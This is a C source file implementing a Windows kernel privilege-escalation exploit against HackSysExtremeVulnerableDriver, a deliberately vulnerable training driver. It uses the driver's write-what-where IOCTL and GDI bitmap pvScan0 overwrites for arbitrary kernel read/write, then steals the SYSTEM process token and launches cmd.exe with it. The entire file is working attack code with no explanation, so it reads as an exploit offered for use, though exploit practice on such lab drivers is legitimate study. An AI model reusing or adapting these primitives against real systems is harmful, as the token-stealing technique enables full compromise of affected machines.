1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192
| #include<stdio.h> #include<Windows.h> #include<Psapi.h>
typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE; char driverName[1024];
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD32 whereWrite, LPVOID whatWrite, int len) { SetBitmapBits(hManager, len, &whereWrite); GetBitmapBits(hWorker, len, whatWrite); }
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD32 whereWrite, LPVOID whatWrite, int len) { SetBitmapBits(hManager, len, &whereWrite); SetBitmapBits(hWorker, len, &whatWrite); }
DWORD32 getKernelBase() { LPVOID lpImageBase[1024]; DWORD lpcbNeeded; EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++) { GetDeviceDriverBaseNameA(lpImageBase[i], (char*)driverName, 48);
if (!strncmp((char*)driverName, "nt", 2)) { printf("[+]success to get %s\n", driverName); return (DWORD32)lpImageBase[i]; } } return NULL; }
DWORD32 getSystemEProcessAddr() { DWORD32 ntKernelBase = getKernelBase(); if (ntKernelBase) { printf("Success get ntKernelBase: 0x%p\n", ntKernelBase); } else { printf("Failed get ntKernelBase\n"); exit(-1); } DWORD32 ntUserBase = NULL; ntUserBase = (DWORD32)LoadLibraryA(driverName); if (ntUserBase) { printf("Success get ntUserBase: 0x%p\n", ntUserBase); } else { printf("Failed get ntUserBase\n"); exit(-1); } DWORD32 PsInitialSystemProcessUserSpaceAddr = (DWORD32)GetProcAddress((HMODULE)ntUserBase, "PsInitialSystemProcess"); if (!PsInitialSystemProcessUserSpaceAddr) { printf("Failed get PsInitialSystemProcessUserSpaceAddr\n"); exit(-1); } else { printf("Success get PsInitialSystemProcessUserSpaceAddr: 0x%p\n", PsInitialSystemProcessUserSpaceAddr); } DWORD32 PsInitialSystemProcessKernelSpaceAddr = ntKernelBase + (PsInitialSystemProcessUserSpaceAddr - ntUserBase); printf("PsInitialSystemProcessKernelSpaceAddr:0x%p", PsInitialSystemProcessKernelSpaceAddr); return PsInitialSystemProcessKernelSpaceAddr; }
DWORD32 getpvScan0Address(HBITMAP handle) { printf(" handle value: 0x%p\n", (DWORD32)handle);
DWORD32 tebAddr = (DWORD32)NtCurrentTeb(); printf(" tebAddr: 0x%p\n", tebAddr);
DWORD32 pebAddr = *(PDWORD32)((PUCHAR)tebAddr + 0x30); printf(" pebAddr: 0x%p\n", pebAddr);
DWORD32 GdiSharedHandleTableAddr = *(PDWORD32)((PUCHAR)pebAddr + 0x94); printf(" GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);
DWORD32 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD32)handle & 0xffff) * 0x10; printf(" pKernelAddress: 0x%p\n", pKernelAddress);
DWORD32 surfaceObject = *(PDWORD32)pKernelAddress; printf(" surfaceObject address: 0x%p\n", surfaceObject); DWORD32 pvScan0Address = surfaceObject + 0x10 + 0x20; printf(" pvScan0 address: 0x%p\n", pvScan0Address);
return pvScan0Address; }
VOID Trigger(DWORD32 where, DWORD32 what, HANDLE hevd) { WRITE_WHAT_WHERE exploit; DWORD lpbReturn = 0;
exploit.Where = (PULONG_PTR)where; exploit.What = (PULONG_PTR)& what;
DeviceIoControl(hevd, 0x22200B, &exploit, sizeof(WRITE_WHAT_WHERE), NULL, 0, &lpbReturn, NULL); }
HANDLE OpenDriver() { HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
if (hevd == INVALID_HANDLE_VALUE) { wprintf(L"[-] Failed to open hevd\n"); exit(-1); } else { wprintf(L"[+] Success to open hevd\n"); } return hevd; }
int main() { HANDLE hevd = OpenDriver(); HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL); if (hManager == NULL) { printf("create manager bitmap failed\n"); return 0; } HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL); if (hWorker == NULL) { printf("create worker bitmap failed\n"); return 0; }
printf("Manager bitmap:\n"); DWORD32 ManagerpvScan0Address = getpvScan0Address(hManager); printf("Worker bitmap:\n"); DWORD32 WorkerpvScan0Address = getpvScan0Address(hWorker); Trigger(ManagerpvScan0Address, WorkerpvScan0Address, hevd);
DWORD32 systemEprocessAddr = 0; systemEprocessAddr = getSystemEProcessAddr(); LPVOID lpSystemToken = NULL; readOOB(hManager, hWorker, getSystemEProcessAddr(), &systemEprocessAddr, sizeof(DWORD32)); readOOB(hManager, hWorker, (systemEprocessAddr + 0x0f4), &lpSystemToken, sizeof(DWORD32));
DWORD32 lpNextEPROCESS = 0; LPVOID lpCurrentPID = NULL; DWORD32 dwCurrentPID; LIST_ENTRY lpNextEntryAddreess = { 0 }; DWORD32 currentProcessID = GetCurrentProcessId(); readOOB(hManager, hWorker, systemEprocessAddr + 0x0B8, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
do { lpNextEPROCESS = (DWORD32)((PUCHAR)lpNextEntryAddreess.Flink - 0x0B8); readOOB(hManager, hWorker, lpNextEPROCESS + 0x0b4, &lpCurrentPID, sizeof(LPVOID)); dwCurrentPID = LOWORD(lpCurrentPID); readOOB(hManager, hWorker, lpNextEPROCESS + 0x0B8, &lpNextEntryAddreess, sizeof(LIST_ENTRY)); } while (dwCurrentPID != currentProcessID);
DWORD32 currentTokenAddress = (DWORD32)lpNextEPROCESS + 0x0f4; writeOOB(hManager, hWorker, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
system("cmd.exe"); }
|